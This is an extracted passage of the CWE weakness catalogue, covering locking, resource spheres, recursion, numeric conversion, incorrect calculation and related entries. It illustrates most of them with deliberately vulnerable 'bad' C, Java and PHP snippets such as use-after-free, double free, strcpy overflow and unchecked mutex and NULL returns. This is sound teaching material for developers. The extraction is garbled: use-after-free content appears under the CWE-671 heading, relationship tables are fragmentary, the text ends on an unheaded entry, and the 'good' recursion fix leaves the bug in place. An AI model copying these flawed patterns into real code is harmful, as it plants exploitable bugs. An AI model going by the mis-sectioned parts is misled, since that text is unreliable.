Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
	<i>Inconsistent locking discipline can lead to deadlock.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use industry standard APIs to implement locking mechanism.

### Demonstrative Examples

#### Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

*Example Language: Java*

*(bad)*

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

#### Example 2:

This code tries to obtain a lock for a file, then writes to it.

*Example Language: PHP*

*(bad)*

```
function writeToLog($message){
    $logfile = fopen("logfile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logfile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform a flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

#### Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

#### Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java

(bad)

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one `Helper()` object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that `helper` is not initialized. Then, thread A sees that `helper==null` and enters the synchronized block and begins to execute:

Example Language:

(bad)

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and `helper` has not finished running the constructor, then thread B may make calls on `helper` while its fields hold incorrect values.

#### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## CWE-668: Exposure of Resource to Wrong Sphere

**Weakness ID** : 668

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

### Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Notes

#### Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

## CWE-669: Incorrect Resource Transfer Between Spheres

**Weakness ID :** 669

**Status:** Draft

**Structure :** Simple

**Abstraction :** Class

### Description

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-670: Always-Incorrect Control Flow Implementation

**Weakness ID** : 670

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

### Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is

always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Notes

### Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

## CWE-671: Lack of Administrator Control over Security

**Weakness ID** : 671  
**Structure** : Simple  
**Abstraction** : Class

**Status**: Draft

## Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

## Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### Applicable Platforms

**Language** : Language-Independent (Prevalence = Undetermined)

**Technology** : Mobile (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data	
	<i>If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.</i>	
Other Availability	Other DoS: Crash, Exit, or Restart	
	<i>When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.</i>	

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

### Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

Example Language: C

(bad)

```
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
```

```

int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    free(messageBody);
}
}
else {
    printf("Unable to process message; invalid message length");
    result = FAIL;
}
}
if (result == ERROR) {
    logError("Error processing message", messageBody);
}
}
return result;
}
}

```

However, the call to the method `logError` includes the `messageBody` after the memory for `messageBody` has been released using the `free` method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C

(good)

```

...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
}
...

```

## CWE-673: External Influence of Sphere Definition

**Weakness ID** : 673

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not prevent the definition of control spheres from external actors.

### Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Demonstrative Examples

#### Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control

sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

**Example 2:**

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

**CWE-674: Uncontrolled Recursion**

<b>Weakness ID</b> : 674	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

**Description**

The product does not properly control the amount of recursion which takes place, consuming excessive resources, such as allocated memory or the program stack.

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## Alternate Terms

**Stack Exhaustion :**

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.</i>	
Confidentiality	Read Application Data  <i>In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's <code>memory_limit</code> setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.</i>	

## Potential Mitigations

### Phase: Implementation

Ensure an end condition will be reached under all logic conditions. The end condition may include testing against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

*Effectiveness = Moderate*

### Phase: Implementation

Increase the stack size.

*Effectiveness = Limited*

*Increasing the stack size might only be a temporary measure, since the stack typically is still not very large, and it might remain easy for attackers to cause an out-of-stack fault.*

## Demonstrative Examples

### Example 1:

In this example a mistake exists in the code where the exit condition contained in `flg` is never called. This results in the function calling itself over and over again until the stack is exhausted.

*Example Language: C*

*(bad)*

```
void do_something_recursive (int flg)
{
    ... // Do some real work here, but the value of flg is unmodified
    if (flg) { do_something_recursive (flg); } // flg is never modified so it is always TRUE - this call will continue until the stack explodes
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

Note that the only difference between the Good and Bad examples is that the recursion flag will change value and cause the recursive to return.

Example Language: C

(good)

```
void do_something_recursive (int flg)
{
    ... // Do some real work here
    // Modify value of flg on done condition
    if (flg) { do_something_recursive (flg); } // returns when flg changes to 0
}
int flag = 1; // Set to TRUE
do_something_recursive (flag);
```

### Notes

#### Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

## CWE-676: Use of Potentially Dangerous Function

<b>Weakness ID</b> : 676	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective:  
 Bytecode Weakness Analysis - including disassembler + source code weakness analysis  
 Binary Weakness Analysis - including disassembler + source code weakness analysis  
 Cost effective for

partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

*Effectiveness = High*

#### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Build and Compilation**

#### **Phase: Implementation**

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

### **Demonstrative Examples**

#### **Example 1:**

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C

(bad)

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

## Notes

### Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

## CWE-680: Integer Overflow to Buffer Overflow

**Weakness ID** : 680

**Status**: Draft

**Structure** : Chain

**Abstraction** : Compound

### Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

## CWE-681: Incorrect Conversion between Numeric Types

Weakness ID : 681

Status: Draft

Structure : Simple

Abstraction : Base

## Description

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Integrity	Quality Degradation	
	<i>The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.</i>	

**Potential Mitigations****Phase: Implementation**

Avoid making conversion between numeric types. Always check for the allowed ranges.

**Demonstrative Examples****Example 1:**

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

*Example Language: Java*

*(bad)*

```
int i = (int) 33457.8f;
```

**Example 2:**

This code adds a float and an integer together, casting the result to an integer.

*Example Language: PHP*

*(bad)*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making `$result = 4.8345`. After the cast to `int`, it is reasonable to expect PHP to follow rounding convention and set `$result = 5`. However, the explicit cast to `int` always rounds DOWN, so the final value of `$result` is 4. This behavior may have unintended consequences.

**Example 3:**

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C

(bad)

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

#### Example 4:

In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C

(bad)

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

## CWE-682: Incorrect Calculation

**Weakness ID :** 682  
**Structure :** Simple  
**Abstraction :** Pillar

**Status:** Draft

## Description

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

## Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.</i>	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands  <i>If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).</i>	
Access Control	Gain Privileges or Assume Identity  <i>In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.</i>	
Access Control	Bypass Protection Mechanism  <i>If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.</i>	

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### Potential Mitigations

#### Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

#### Phase: Implementation

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

**Phase: Implementation**

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

**Phase: Architecture and Design**

*Strategy = Language Selection*

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

**Phase: Implementation**

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Demonstrative Examples**

**Example 1:**

The following image processing code allocates a table for images.

*Example Language: C*

*(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in

a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java

(bad)

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

### Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C

(bad)

```
int *p = x;
char * second_char = (char *) (p + 1);
```

In this example, second\_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

## CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID : 683

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

### Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Other	Quality Degradation	

## Potential Mitigations

### Phase: Implementation

Use the function, procedure, or routine as specified.

### Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

## Demonstrative Examples

### Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

*Example Language: PHP*

*(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

## CWE-684: Incorrect Provision of Specified Functionality

**Weakness ID :** 684

**Status:** Draft

**Structure :** Simple

**Abstraction :** Class

### Description

The code does not function according to its published specifications, potentially leading to incorrect usage.

### Extended Description

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

## CWE-686: Function Call With Incorrect Argument Type

Weakness ID : 686

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

### Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2077

## Notes

### Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

## CWE-690: Unchecked Return Value to NULL Pointer Dereference

**Weakness ID** : 690**Status**: Draft**Structure** : Chain**Abstraction** : Compound

### Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

### Chain Components

Nature	Type	ID	Name	Page
StartsWith	ⓑ	252	Unchecked Return Value	560
FollowedBy	ⓑ	476	NULL Pointer Dereference	1026

### Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	476	NULL Pointer Dereference	1026

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory	
Availability	Modify Memory	
<p><i>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</i></p>		

### Detection Methods

#### Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

#### White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

### Demonstrative Examples

**Example 1:**

The code below makes a call to the `getUserName()` function but doesn't check the return value before dereferencing (which may cause a `NullPointerException`).

Example Language: Java

(bad)

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
    ...
}
```

**Example 2:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this code is also vulnerable to a buffer overflow (CWE-119).

## CWE-692: Incomplete Denylist to Cross-Site Scripting

<b>Weakness ID</b> : 692	<b>Status</b> : Draft
<b>Structure</b> : Chain	
<b>Abstraction</b> : Compound	

### Description

The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.

FollowedBy		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	153

### Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.

## CWE-693: Protection Mechanism Failure

**Weakness ID** : 693

**Status**: Draft

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

### Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

## CWE-694: Use of Multiple Resources with Duplicate Identifier

**Weakness ID :** 694

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

### Extended Description

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-695: Use of Low-Level Functionality

Weakness ID : 695

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

### Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

### Description

The software compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

### Extended Description

